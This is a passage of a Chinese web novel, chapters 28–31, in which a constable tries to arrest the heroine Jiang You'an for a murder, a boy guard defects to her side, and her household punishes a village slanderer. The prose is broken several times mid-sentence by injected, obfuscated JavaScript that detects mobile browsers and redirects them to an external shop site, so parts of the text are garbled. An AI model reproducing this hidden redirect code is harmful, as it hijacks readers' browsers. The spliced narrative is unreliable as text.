阮荷听了,惊恐万分,眼泪在眼眶里打转,她声音沙哑地喊道:“不,不是的,佑安姐姐没有杀人!” 姜佑安冲阮荷笑了笑,示意她不要害怕,又向曾景阳说道:“人当然不是我杀的,我山里打猎,箭支常有丢失的,陈爷爷给我做了十支箭,我现在只剩下七支,肯定是有人捡到了我的箭,拿去杀了赵雄,还想嫁祸给我。” 曾景阳没想到她会死不认账,有些厌烦地皱起了眉头,“你觉得这些说辞,我会相信吗?” “你信不信都好,我的箭什么时候丢的,袁竹和阮荷都可以为我证明,十六日那天,我上山打猎去了,并没有单独去找过赵雄,杨恩可以为我证明,你要是没有别的证据能证明人是我杀的,我也只能觉得你是在胡搅蛮缠。”姜佑安说道。 “胡搅蛮缠的明明是你!”曾景阳很生气,伸手指向姜佑安,目光凌厉,“不管你如何狡辩,今天我必须捉拿你归案!” 28. 少男 “我哪里胡搅蛮缠了?我说的话,有哪一句不合理,你可以反驳我,我接着给你解释,我从没做过的事,你拿着一个陈爷爷做的箭头,就想让我认罪伏诛,那我只能大喊冤枉了。”姜佑安说道。 曾景阳放下手,厉声问道:“你想要杀了赵雄,这是戴庭芳听你亲口所说,你要作何解释?” “我是说过,但那是我听说赵雄殴打他的老母亲,一时气急,才那么说的,我冷静下来之后,并没有去找赵雄,难道你要以一句气话,给我定罪?”姜佑安反问道。 “你孤身上山,并没有人知道你去了哪里,你杀人的嫌疑很大。”曾景阳说道。 “所有被赵雄欺辱过的人,都有很大嫌疑吧。”姜佑安说道。 “但只有你通过郭英知道了赵雄即将回家,而且赵雄身上残留的箭头是你的。”曾景阳说道。 姜佑安摇了摇头,“你并不能证明只有我知道,也许赵雄也跟别人说过他那天要回家,箭是我弄丢的,但不代表我要为丢了的箭负责。” 曾景阳越说越生气,“你这是强词夺理!” “我只是在为自己申辩。”姜佑安走到曾景阳的面前,毫不退缩地看着他的眼睛,“看你对这件事如此了解,我也想问问你,赵雄从我们这抢走的钱财,什么时候能还给我们?我们还指望这钱过冬呢。” 曾景阳有些躲闪地看向一旁,“他人已经死了,还欠了一屁股债,老母亲家里更是家徒四壁,你们的钱,应该是要不回来了。” 姜佑安冷哼一声,“我家的钱被抢了,我去报案,搭上了钱财,却还是无人受理,这个殴打母亲、勒索抢劫、□□妇女的地痞无赖死了,你却想要我这个无辜之人给他偿命?我真是想不明白,你们这些官差,到底是在惩恶扬善,还是在持强凌弱?” 曾景阳的气势弱了下去,“就算他作恶多端,也不是你杀人的理由。” 这回姜佑安也生起气来,“好,那就暂且不说别的,这位官差,我请教你,我们这些无权无势的升斗小民,面对恶霸欺凌,该如何保全自身?” 曾景阳无法回答,索性看向袁竹,转移了话题,“袁娘子,姜姑娘丢了几支箭?都是什么时候丢的?” “丢了三支,上个月丢了两支,这个月丢了一支。”袁竹答道。 “这个月的一支,是哪天丢的?”曾景阳问道。 袁竹突然想到箭丢的那天,正是十六日,要是实话实说,就更说不清了,“是十三日那天丢的。” “十三日?那天姜佑安也上山打猎了?”曾景阳问道。 “没有,那天她跟我一起进城了,出城的时候,遇到赵雄勒索,姜佑安为了吓唬他,射了一箭,他才把钱还给我,那支射得太远,我们没有去找回来,肯定是被人捡去了。”袁竹说道。 曾景阳听了,一言不发,在脑海里梳理着前因后果。 “官差大人还有什么疑问吗?没事的话,就别耽误我们做中午饭了。”姜佑安说道。 “这段时间跟赵雄有过来往的人,只有你擅长用弓箭,他身体里的箭头,也确实是陈大用为你打造的,我劝你尽快交代,不然,我就要带你回衙门里细细审问。”曾景阳说道。 “这么说,你是不讲道理了?”姜佑安说道。 “他们这些官差,哪有讲理的。”袁竹怒视曾景阳,“赵雄劫走了我们的钱,你们不但不管,还有给钱才能帮忙递状子,现在又因为赵雄的死,来诬赖好人,你也想要钱是不是?” “你要多少钱?我们想办法凑给你,你不要抓佑安姐姐走。”阮荷带着哭腔说道。 曾景阳眉头紧皱,板着脸说道:“你们说的什么话!我什么时候要钱了?我是捕快,是来查案的,她若是无辜,到时候我自会放她出来。” “你以为我们不知道衙门是什么地方?她就算有命进去,还能有命出来吗?”袁竹愤怒地说道。 “我只是审问案情,不会严刑逼供。”曾景阳说道。 袁竹走过去,护在了姜佑安的身前,“你说的好听,人一抓走,还不是你想怎么样就怎么样?” 阮荷把兔子扔在地上,紧紧抱住姜佑安的胳膊,“你不能抓走佑安姐姐。” 程祥也走上前去,“官爷,也许这其中另有隐情,您先调查清楚再说吧。” “你们想要拒捕?”曾景阳把手放在了腰间的铁尺上,“戴家都派马车来了,我今天若是走了,以后怕是再也见不到姜姑娘了吧。” “人不是我杀的,我既不会跟你走,也不会逃跑。”姜佑安说道。 两方僵持不下,院门外传来一阵马蹄声,由远及近,曾景阳笑了笑,“姜姑娘,今天你必须跟我走一趟。” 马蹄声在院门外停了下来,一人扬声问道:“曾师傅,你在这里吗?” “我在,姜佑安要拒捕,快过来帮忙!”曾景阳高声答道。 袁竹等人紧张地看着院门,却见一个捕快打扮的十二三岁的少男走了进来,脸上带着稚气,清俊可爱。 程祥一下子松懈下来了,不解地问道:“你出来执行公务,怎么还带着个孩子?” “别看他年纪小,拳脚功夫可比我还厉害,劝你们不要抵抗,姜佑安,你束手就擒吧。”曾景阳说道。 少男站在曾景阳身边,个头还不到他的肩膀,操着稚嫩的童声问道:“师傅,哪个是姜佑安?” 曾景阳拔出了铁尺,“躲在后面的那个就是,前面这三人你来对付,我去捉她。” “是。”少男应了一声,拔出了腰间的剑,摆开了架势。 “不要用剑,她们都是普通百姓,不要伤到人。”曾景阳说道。 “铁尺我用不习惯,师傅放心,我不会伤到她们的性命。”少男轻薄的双唇中,吐出了冷酷的话语。 曾景阳拦在少男面前,神情严肃,“把剑收起来!你连师傅的话都不听吗?” 杨恩从院门外走进来,看见阮荷、袁竹和程祥护着姜佑安,两个捕快在互相对峙,一时不知道是发生了什么,“这是怎么了?” “他们说姜佑安杀了赵雄,要把姜佑安抓走。”袁竹说道。 杨恩一听,拿起了立在墙边的锄头,堵住了院门,“谁都不能带走姜姑娘!” “你们竟要如此维护一个杀人凶手?”曾景阳问道。 “赵雄,他该死!”杨恩一字一顿地说道。 少男转身面对杨恩,“师傅,他们是不是合谋杀人?要不要一起抓回去?” “不用管他,先把姜佑安抓走就行。”曾景阳说道。 杨恩挥了挥手中的锄头,“想带走姜姑娘,除非我死了!” 眼看事情发展得越来越不可抗,姜佑安仍不住出言劝道:“杨恩,你不要冲动!” 听到姜佑安的声音,少男迅速转过身来,三步并作两步,冲过去绕到袁竹身后,待看清了姜佑安的面容,他的眼睛里迸发出惊喜的神色,“公……” 姜佑安赶忙捂住了他的嘴,凑在他耳边低声道:“不要乱说话,叫我姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702387|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佑安就行。” 袁竹见姜佑安钳制住了少男,十分惊讶,“你还有这身手?” 袁竹、阮荷和程祥挡住了两人,杨恩紧张地问道:“姜姑娘,你没事吧?” “长风,抓住人了吗?”曾景阳也扬声问道。 “我没事。”姜佑安放开李长风,走上前去,对曾景阳说道:“你还是回去吧,我是不会跟你走的。” 曾景阳没有理会她,向她身后问道:“李长风,你在干什么?怎么还不把她抓起来?” 李长风从后面走了出来,站在姜佑安的身边,向曾景阳鞠了一躬,“师傅,这是我最后一次叫你师傅了,谢谢你这些日子收留我。” 曾景阳满脸疑惑,“你不去抓人,跟我在这说什么呢?” “我不跟你回去了,我要留在这里。”李长风说道。 “什么!你要留在这?”袁竹很是震惊,这个小捕快在说什么呢! 阮荷和程祥也很吃惊,他这是怎么了?刚才还气势汹汹要抓人,怎么突然就要留下? 曾景阳更是难以理解,“长风,你怎么回事?难道你也要护着这个杀人犯?” “公…姜…小姐不会杀人,就算她真的杀人了,那也是被杀的人该死。”李长风面色如常,好像在说一件举世公认的真理。 “你跟她是什么关系?你忘了我们身为捕快的职责了吗?”曾景阳生气地问道。 “我是无处可去,才跟着你做捕快的,而且,知县大人也说了,他不想管这些,你就算查下去,他也不会受理的。”李长风说道。 “就算知县大人不管,我也不能不查下去。”曾景阳说道。 “愿意查你就查吧,反正你没有证据,我是不会跟你走的。”姜佑安说道。 见所有人都护着姜佑安,曾景阳无奈地把铁尺插在腰间,“好啊,李长风,看来姜佑安就是你一直要找的人,现在人找到了,你就不需要我这个师傅了,也好,一直养着你,对我来说也不轻松,你要留下,就把铁尺和绳索还给我。” 李长风走上前去,把腰间的铁尺和绳索拿出来,交还给曾景阳,又鞠了一躬,“多谢你这些日子对我的照顾。” 曾景阳接过去,拍了拍李长风的肩膀,“不客气,这些日子你也没少帮我干活,你身上这身衣服,是我专门按你的身高定制的,拿回去别人也穿不了,工钱我就不给你发了,就用这身衣服抵工钱吧。” 李长风点了点头。 “行啦,咱们就此别过。”曾景阳转身向外走去,杨恩还在拦着门。 “杨恩,让他走吧。”姜佑安说道。 杨恩不肯退让,“让他走了,以后再来找麻烦怎么办?” 姜佑安深感杨恩这个人的性格很是麻烦,她向李长风问道,“这位捕快姓什么?” “他姓曾。”李长风答道。 “这位曾捕快不是不分青红皂白的人,更也不会伤及无辜,我相信就算他带我去县衙,也只是正常询问,不会对我用刑,你说呢?曾捕快。”姜佑安说道。 “那当然,我只是想查明真相,抓到真凶。”曾景阳说道。 “杨恩,放他走。”姜佑安说道。 杨恩放下锄头,不情不愿地让到了一边,曾景阳走出门去,留下一串马蹄声,越来越远,直至消失。 程祥也向众人告辞,驾着马车回城去了。 见人都走了,袁竹看向姜佑安,“姜佑安,这孩子哪来的?你认识他?他怎么突然就说要留下?” 29. 窑子 姜佑安这才反应过来,家里又要多一个人吃饭了,“对啊,长风,你不能留在这里,要不,你还是跟那个捕快走吧。” “小姐,我好不容易才找到你,我不走!”李长风说道。 “小姐?他是你们家的下人?”袁竹问道。 “我是小姐的侍卫,要守护小姐的安全,小姐去到哪里,我就要跟到哪里。”李长风说道。 阮荷不禁感叹道:“原来这么小的孩子也能做侍卫。” “我现在不是小姐,你也不是侍卫,我看你跟着那个人做捕快也不错,起码还有工钱拿。”姜佑安说道。 “他家里穷得很,只能提供吃住,发不出工钱来。”李长风说道。 “唉。”姜佑安叹了口气,“你到我这里,恐怕连吃饱饭都难。” 李长风皱起了眉头,“小姐竟落到这种地步了吗?” “我出来的时候没带钱。”姜佑安想起自己平时对他挺大方的,他来找自己肯定带了不少银子,高兴地问道:“你身上应该有钱吧,先借我用用,等以后我们挣钱了再还你。” “我带的钱都花完了。”李长风挠了挠头,“小姐,你要是缺钱,我可以回京城去取。” 姜佑安马上拒绝,“不行,要是暴露了行踪,可就麻烦了。” 杨恩走了过来,“要不,就让这孩子跟我住吧,平时帮陈爷爷做些木工活,他应该不会反对的。” “我看行,还能给他孙子做个伴。”袁竹说道。 “我不去!我要跟小姐待在一起。”李长风说道。 “我这里没有地方住,虽说你是个孩子,但也得睡床上吧,我家现在连个多余的床都没有,你留下睡哪儿?”袁竹说道。 李长风坚持,“我睡地上就行。” “天气这么冷了,睡地上怎么能行。”袁竹说道。 “我很健康,一向不大生病,只要有个遮风避雨的地方就行。”李长风说道。 袁竹有些生气了,“你这孩子,怎么跟你说不通呢?到时候冻生病了,不还得我们照顾你?” “袁竹,算了,就让他留下吧。”姜佑安看向杨恩,“你去跟陈爷爷说一声,让他帮忙做个单人的小床,工钱我之后给他送过去。” 李长风开心地笑了,“谢谢小姐!” “你真的要留下这个孩子?”杨恩问道。 “自我出逃到现在,也有三个多月了,辛苦他小小年纪到处找我,连身上的钱都花光了,他从小无父无母,只能依靠我,我不能弃他于不顾。”姜佑安说道。 “好,我这就去跟陈爷爷说,天黑之前我会来接他,床打好之前,就让他先跟我睡吧。”杨恩说道。 姜佑安点了点头,把跑进厨房的兔子抓了出来,递给杨恩,“你把这兔子拿给陈爷爷,就说让长风先借住几晚,等床做好了,就让他回来住。” 杨恩接过了兔子,回了村里。 闹腾了这么长时间,姜佑安觉得饿了,“小阮,咱们中午吃什么?” “今天时间还早,午饭还没做呢。”阮荷说道。 “你还有心思吃?”袁竹关上了院门,走过来一脸严肃地问道:“那赵雄的死,到底跟你有没有关系?” “没有啊,我都说得很清楚了,就算你不撒谎,他也赖不到我头上。”姜佑安说道。 “怎么赖不到?赵雄是十六日死的,你的箭是十六日丢的,你的嫌疑最大!”袁竹说道。 姜佑安耸了耸肩,无所谓地说道:“那怎么了?我的箭是射野鸡丢的,又不是杀人丢的。” “你跟我犟可以,你还能犟得过官差吗?他要是不分青红皂白就把你抓走了,看你怎么办!”袁竹说道。 “他存心要冤枉我,那我也没有办法。”姜佑安说道。 “知道赵雄要回去的,除了我们,就只有郭英了,就算她杀死了赵雄,她又是怎么弄到你的箭头的?难道她早就捡到了你的箭?她故意跟我们搭话,就是要把赵雄的死牵扯到你身上吧。”袁竹说道。 “那可不好说,谁知道赵雄回家之前在哪里鬼混,都遇到了谁,有没有跟别人说他要回家去,反正他人都死了,管他呢。”姜佑安圈住了阮荷的肩膀,笑着说道:“小阮,我饿了,咱们做饭去吧。” 李长风走上前去,“小姐如此尊贵,怎么能去做饭?我去做。” 袁竹和阮荷看了看李长风,又看了看姜佑安,不约而同地笑了起来。 姜佑安被她们笑得脸都羞红了,“我没有什么尊贵的,你不要乱说话!也不要叫我小姐,叫我姐姐就行。” “小姐本就尊贵,住在这种地方,已经是委屈您了,怎么还能让您干活,您要做什么,以后就都吩咐我去做吧。”李长风认真地说道。 “这里没有小姐,也没有下人,我留下你,是把你当做家人,当做弟弟,你要是想当下人,就出去另找主人吧。”姜佑安板起脸来,伸手指向院门。 “小姐别赶我走,我听小姐的就是了。”李长风说道。 姜佑安收回手,双手叉腰,“先把称呼改了!” “是,姐姐。”李长风低着头说道。 姜佑安笑了,“这就对了,我不再是以前的我,你也可以成为一个全新的你,这里没有主仆,大家都是一样的。” “嗯。”李长风点了点头。 姜佑安指向袁竹和阮荷,“这是你袁竹袁姐姐,这是你阮荷阮姐姐,向她们问好。” 李长风向两位鞠躬行礼,“袁姐姐好,阮姐姐好。” “他叫李长风,你们随意称呼。”姜佑安说道。 袁竹看他说话乖巧可爱,完全忘了他刚才拿剑的样子,笑着回应道:“长风好。” “长风弟弟多大了?”阮荷问道。 李长风挺直了胸膛,骄傲地说道:“我今年十二了。” “你个子长得真高,我弟弟也是十二岁,比你矮多了。”阮荷说道。 李长风害羞地笑了笑,一抬头,又变了神色,“什么人!” 大家顺着李长风的视线看过去,见一个男人正趴在墙头上往院里看,李长风打开院门,冲出去,拉着男人的腿把他拽倒在地。 大家跟着跑出去,见男人摔在地上,哎呦哎呦地不停叫痛。 “他大爷的,李元义,你趴在我家院墙上做什么?”看清了男人的模样,袁竹生气地问道。 “他是谁啊?”姜佑安问道。 阮荷看了看,“他是李家村的人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我知道错了,袁娘子,我向你道歉,我再也不敢了。”李元义连连作揖,看起来情真意切。 “以后离我家远点儿!滚!”袁竹愤怒地说道。 “别跟他生气了,袁竹,咱们回去做饭吃吧。”姜佑安劝道。 袁竹正在气头上,奇怪地看向姜佑安,“以往有这种事,你肯定要嚷嚷着去揍人了,怎么今天却来劝我?” “我要去揍人,你肯定不让,我还说这个干什么?这里是袁家,你是一家之主,你说要忍,我也只能忍了,就是可怜了小阮,不知道什么时候还会被欺负。”姜佑安说道。 袁竹听了,火冒三丈,“还能再让他欺负?这村里打阮荷主意的不是一个两个,我们人在家里,他都敢爬墙了,那天半夜有人翻墙进来可怎么好?不能忍了!你说得对,必须要让他们长长记性。” 姜佑安笑了笑,“不怕得罪小人了?” 袁竹一愣,想一想若是他们日后报复,也确实是麻烦,不过,如果能吓住他们,也许能像赵雄消失一样,再没有这恶心事,“欺负我也就算了,小阮还是个孩子,我们不能时时护着她,还是得让村里人知道,欺负了小阮,会是什么下场。” “好,就等你这句话了!小阮,你们先去做饭吧。”姜佑安冲李长风挥挥手,“长风,走,咱们去让那个李贵长长记性!” 30. 解气 “是。”李长风应了一声,跟了过去, “下手轻点儿,别伤得太重。”袁竹在姜佑安的身后叮嘱道。 “知道,我有分寸。”姜佑安头也没回地答道。 “袁姐姐,要不还是算了吧。”阮荷站在袁竹身边,有些担心地看着两人走远。 “姜佑安只是过去吓唬吓唬他,不会出事的,吓唬了他们,以后咱们才能更安全。”袁竹心里也有些不安,但心里这气没地撒,憋着也难受,“让她闹去吧,我也饿了,咱们先回去做饭,她们应该很快就回来了。” “嗯。”阮荷点了点头,跟着袁竹回了院里。 两人淘米做饭,菜都做好了,两人还没有回来,把锅盖上锅盖,两人走到院门外,向村子里张望,见三个人走了过来。 仔细一看,前面走着的是李贵,后面跟着姜佑安和李长风,走到近旁,李贵普通一声跪在了地上,抬起头来,只见他眼眶乌青,脸皮擦伤,鼻血直流,门牙也掉了两颗。 李贵磕头如捣蒜,“阮姑娘,上次欺负你是我不对,您大人不记小人过,就原谅我吧。” 阮荷见他这个样子,有些害怕,躲在了袁竹身后。 “以后不许再靠近我家,知道了吗?”袁竹厉声说道。 “知道了知道了,我以后绝不往这边走半步。”李贵慌忙说道。 “要是你敢来报复,你知道会是什么下场吧?”袁竹问道。 李贵头拼命点头,鼻血一串串滴落在地上,“知道知道!我不敢报复,不敢报复。” “小阮有什么要说的吗?”姜佑安柔声问道。 “没有。”阮荷摇了摇头,“让他走吧。” “行,小阮发善心,不跟你计较,赶紧滚吧。”姜佑安说道。 “好,我这就滚,这就滚。”李贵赶忙爬起来,转身向村子跑去。 见李贵伤得不重,袁竹也放下心来,“饭都做好了,回去吃饭吧。” 四人进了屋,姜佑安和李长风去洗手,袁竹和阮荷把饭菜端上了桌。 四人落座吃起饭来,袁竹问道:“怎么去了那么久?王大娘拦着你们了?” 姜佑安夹起盘子里的鹿肉,一口塞进嘴里,“没有,王大娘不在。” 李长风拿起了筷子,手上抚摸着碗边的豁口,“姐姐让我拿刀吓唬李贵,逼着他挨家挨户敲门,跟人说清楚,袁家不是窑子,都是他在胡说八道。” “他照做了?”袁竹问道。 “他一开始不愿意,还想逃跑,他一跑,长风就追上去绊他一个跟头,摔得多了,他就老实了。”姜佑安说道。 “那门牙原来是摔掉的,看他以后还敢不敢乱说话。”袁竹笑了,夹起盘子里的都放到李长风的碗里,“长风干得好啊!来,多吃点儿肉。” “那是,别看长风年纪小,他可能干了,从小练功就特别认真,一点儿都不怕累。”姜佑安夸赞道。 阮荷低着头吃饭,姜佑安和李长风是在为她出头,她应该感到高兴,但恍惚间,她好像又回到了阮家的饭桌上,大家都在看着弟弟,都在夸奖弟弟,而她所做的一切,都没有人看见。 袁竹夹起一块鹿肉,放在阮荷的碗里,笑着说道:“最近都没有做鹿肉,你也馋了吧。” “这腊肉炒笋干,真是太好吃了,小阮,下次我再打了鹿回来,咱们还做成腊肉吃吧。”姜佑安说道。 阮荷点了点头,把鹿肉和米饭一起扒拉进嘴里,低着头,遮掩流下的眼泪。 姜佑安也夹了鹿肉放在阮荷碗里,笑着对李长风说道:“小阮可是咱们能吃到美味饭菜的大功臣,你以后可不许欺负她。” “我怎么可能欺负人?”李长风尝了一口鹿肉,瞬间被俘获,“太好吃了!我在曾大哥那里从来没吃到这么好吃的菜。” 阮荷看着李长风的反应,悄悄擦了下眼泪,笑了起来。 “长风,以后你就是小阮的侍卫了,你好好保护她,她就能让你天天吃到好吃的。”姜佑安说道。 李长风拍了拍胸脯,“好,以后就由我来保护姐姐们。” 三人看着他稚嫩却认真的样子,都笑了。 “快吃饭吧,一会儿凉了。”袁竹笑着说道。 阮荷笑着点了点头,这里和阮家不一样,袁姐姐和佑安姐姐不是她爹娘那样的人,她们会一直看着她,不会忽视她。 晚饭后,姜佑安带着李长风去见了陈大用,陈大用热情地邀请他们一块吃晚饭,姜佑安说起李长风的事,陈大用说杨恩已经都跟他说了,新床他最近没有时间做,但家里有一张旧床可以直接抬走用。 姜佑安去看了床,见床板还很结实,就要把钱给陈大用,陈大用说收了兔子,就不收钱了。姜佑安和李长风高高兴兴地把床抬了回去。 四人一起收拾了东屋给李长风住,床放了进去,却没有褥子和被子,姜佑安把自己床上的给了李长风,决定她们三人先在架子床里挤一晚,第二天再去买被子。 第二天还没吃早饭,杨恩就来了,他说自己住在陈大用家,没有用钱的地方,把他的一贯钱给了姜佑安,姜佑安正好缺钱,也就没有推辞。 吃过了早饭,留李长风和阮荷在家里看家,姜佑安和袁竹一起进城了,一床棉被要好几两,两人买不起,只好买了棉花回去自己做。 袁竹把柜子里的旧料子、碎布块都找了出来,拼凑一下差不多能做一床被子,中午吃完饭,袁竹在院子里铺了张席子,袁竹和阮荷坐在上面缝被面,姜佑安和李长风也在一旁帮忙。 李长风把棉花倒在席子上,跪在席子上,仔细挑着棉花里的棉籽,“今天又有男人来找阮姐姐,被我给赶走了。” “是吗?”袁竹停下了手上的动作,冲着李长风笑了笑,“长风真厉害!以后我出门卖花,留你和小阮在家也能放心了。” “怎么还有人敢来?是谁?村里的人吗?”姜佑安问道。 “我不认识,阮姐姐认识,还跟他说话了。”李长风答道。 “我不是告诉你,不要跟那些男人说话吗?要是碰到李贵那样的,看了他一眼,就觉得你想嫁给他,不是又要惹上麻烦了?”袁竹向阮荷说道。 阮荷低着头,缝着手中的布块,“他不是村里的。” 李长风看着袁竹,“袁姐姐,那男人真的说要娶阮姐姐。” “你看,我就说吧,别管他是不是村里人,那些男人,你谁都别搭理,都是麻烦。”袁竹说道。 阮荷抬起头来,“今天买了这些棉花,家里的钱就不剩什么了吧。” “你不用管这些,明天把菜拿到城里卖,也能换点钱回来。”袁竹说道。 姜佑安的脸色突然严肃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“买进去的妾,和妻不同,一旦你收了他的钱,你这辈子,就再也由不得自己做主了。”姜佑安说道。 “别说妾了,正妻也一样,等那男人落魄的时候,卖儿卖女卖老婆的,多的是,小阮,你可不要糊涂,我们靠自己也能活下去,不用非得去跟男人讨饭吃。”袁竹说道。 “姜姐姐就是因为不想嫁人才逃出来的,阮姐姐,你想嫁人吗?”李长风问道。 “我不想!我也是不想嫁人,才从家里出来的。”阮荷流着泪说道。 “那就得了,以后不许再有这种想法,谁都不能把你送出去换钱,包括你自己!”袁竹说道。 阮荷用袖子擦了擦脸上的泪,点了点头,“嗯,我知道了。” “小阮在家里总是被男人骚然,不如明天跟我一起上山打猎怎么样?”姜佑安问道。 “行啊,她跟你上山,午饭我来做就是了。”袁竹说道。 姜佑安嘴角抽动了一下,“啊?那算了,还是让小阮做的,你做的饭,我都吃不饱。” “我是少给你盛饭了,还是不让你吃了?你怎么吃不饱?”袁竹不耐烦地说道。 “是菜做得太难吃了,我都吃不下饭,怎么能吃得饱。”姜佑安抱怨道。 袁竹白了姜佑安一眼,“有你一口吃的就不错了,还挑三拣四的。” 阮荷笑了,“我连弓都拉不开,怎么去打猎,还是留在家里做饭吧。” 四人在暖和的阳光下做着活计,说说笑笑。 王大娘突然带着捕快闯了进来,“官爷,就是她们打伤了我儿子!快把她们都抓起来!” 31. 捕快 姜佑安抬头看去,见跟着王大娘进来的,正是昨天刚走的捕快曾景阳,她有些不耐放地问道:“你怎么又来了?” “我还想问你怎么又犯事了呢?村里的李贵是不是你打伤的?”曾景阳问道。 李长风站了起来,“是我打的。” “你?你不是昨天刚来这里吗?为什么要打李贵?”曾景阳很是不解。 “是我让他打的,怎么了?”姜佑安也站了起来。 “你们把人打得下不了床,还好意思问怎么了?”曾景阳生气地说道。 王大娘一边拿手帕擦着眼泪,一边哀嚎道:“官爷,你可要为我儿子做主啊,他好好在家待着,这俩人无缘无故就冲进我家里去,把我儿子痛打了一顿,连门牙都打掉了。” “管这桩案子,你收她多少钱?”姜佑安问道。 “我看王大娘在衙门前哭告无门,才主动来管的,并不曾收钱。”曾景阳说道。 “好一个衙门前哭告无门,我们要不是哭告无门,也不会自己动手。”姜佑安说道。 曾景阳神色一凛,“你承认赵雄是你动手杀的?” 姜佑安摇了摇头,“赵雄自有别人动手,我说的是李贵。” “李贵?他也来勒索钱财了?”曾景阳问道。 “她胡说!我儿子一向安分,从不会做勒索钱财这种事。”王大娘激动地说道。 袁竹和阮荷也早已站了起来,她把阮荷护在身后,对王大娘说道:“是,他是没有勒索钱财,但他假借买鹿肉的由头,来到我家,拽着我家小阮的手不松,还意图非礼她,这也叫做安分吗?” “小阮是谁?”曾景阳问道。 阮荷向前走了一步,轻声道:“是我。” 曾景阳皱起了眉头,看向王大娘,“你儿子欺负这么小的女孩子,你却跟我说他是个老实人?” 王大娘毫无愧疚之色,“我儿子就是太老实,才被她们欺负的,明明是这女孩子勾引了我儿子,她们却偏说是我儿子非礼她,她们那天就打了我儿子,我当时就应该去报官的。” 曾景阳听了,心里十分不快,刚刚看到李贵惨状时产生的同情,此刻已经消失殆尽,“你说这孩子勾引你儿子?” “对啊,要不是她勾引,我儿子怎么知道她家有鹿肉,还拿着钱上门来买?肯定是这孩子告诉的,我儿子说了,这孩子还对他笑,说要嫁给他。”王大娘说道。 阮荷脸上尽是厌恶,“我没说!我也没冲他笑!” “你看出来了吧,这母男俩人都是说不通理的,所以我才要揍他一顿,让他长长记性。”姜佑安说道。 “这事也不是昨天发生的吧,你昨天打人是因为什么?”曾景阳问道。 “既然你愿意了解,我就跟你解释解释,赵雄来家里抢钱的那天,只有小阮自己在家,大门在关着,赵雄翻墙进来拿走了我家所有的钱财,正巧被李贵看见了,他在村里大肆宣扬,说我家是窑子,大门紧闭的时候,翻墙进来就能闝倡,昨天村里的李元义趴在墙上被我们发现了,我们才知道这件事。李贵让我们全家陷入被男人觊觎的危机之中,你说,他该不该打?”姜佑安说道。 “竟有这种事?”曾景阳愤怒地看向王大娘,“你为什么不跟我说清楚?” “我,我这不是怕都告诉你了,你就不肯来了嘛,不管怎么说,人是她们打的,官爷,你可要替我儿子做主啊。”王大娘说着说着,又哀嚎起来,“我儿子太可怜了,在家里什么都没干,就被人打了一顿,到现在都下不来床,他可怜啊,官爷,你要给他做主啊!千万不能放过这些打人的人啊!” 曾景阳闭上眼睛,长长地舒了一口气,睁开眼来,向姜佑安行了一礼,“赵雄的案子我会接着查下去,今天打扰了,我还有事,先行告辞。”说完转身就要走。 王大娘一把扯住了曾景阳的袖子,“官爷!你都看到我儿子被她们打得多惨了,你还没抓她们,怎么就要走了?” “我来就是了解一下情况,你儿子做错事在先,也不能怪别人要揍他,你还是回去好好教导儿子吧,让他不要编造谣言,更不要去骚扰别人。”曾景阳好言劝慰道。 王大娘紧紧抱着曾景阳的胳膊不肯松手,“我儿子好得很,都是她们的错!你快把她们抓起来啊!” 曾景阳用力推开王大娘,“我没有逮捕文书,没有权力抓人,就算把人带到县衙,知县大人也不会管的。” 王大娘坐在地上撒泼打滚,“我儿子好惨啊!就这么白白被人打了,都怪我这个当娘的没用啊!明知道是谁打的,还不能把她抓起来,连官差来了都不帮我!” 袁竹走上前去,把曾景阳拉到一边嘀咕了两句,曾景阳就离开了。 王大娘见了,赶紧爬起来去追。 姜佑安走到袁竹身旁,看着两人越跑越远,向袁竹问道:“你跟那捕快说什么了?” “没什么,就是告诉他,只要不理会王大娘,王大娘也拿他没招。”袁竹说道。 姜佑安笑了笑,“确实。” 四人回到院子里,为了防止王大娘再过来闹,直接闩上了大门,在席子上继续缝被子。 姜佑安想起了刚才曾景阳说的话,向李长风问道:“长风,捕快没有逮捕文书,就不能抓人吗?” 李长风点了点头,“是,曾大叔就是这么教我的。” “你说赵雄的案子知县不想管,也就是没有逮捕文书,是不是?”姜佑安问道。 “对,没有文书。”李长风说道。 “那他以后就不能来抓人了是不是?”袁竹问道。 “应该是这样,曾大叔说知县每天只想着给上级送礼,好把他调离这里,所以他什么案子都不想管,没有他批的逮捕文书,曾大叔就是想抓也抓不了。”李长风说道。 “那太好了,佑安姐姐再也不用担心会被抓了。”阮荷笑着说道。 姜佑安也笑了,“以后可以放心了。” “我就告诉你不要冲动,你要是听我的,官差能接连两天上门吗?”袁竹说道。 姜佑安不服气,“哎?你可别什么都推到我头上,昨天去揍李贵,可是经过你同意的,你不也冲动了?” 两人正在喋喋不休地争论之时,院门外出来了拍门声。 姜佑安冲过去开门,大声喊道“王大娘,你有完没完啊!” 却见门口站着的是杨恩,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726444|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 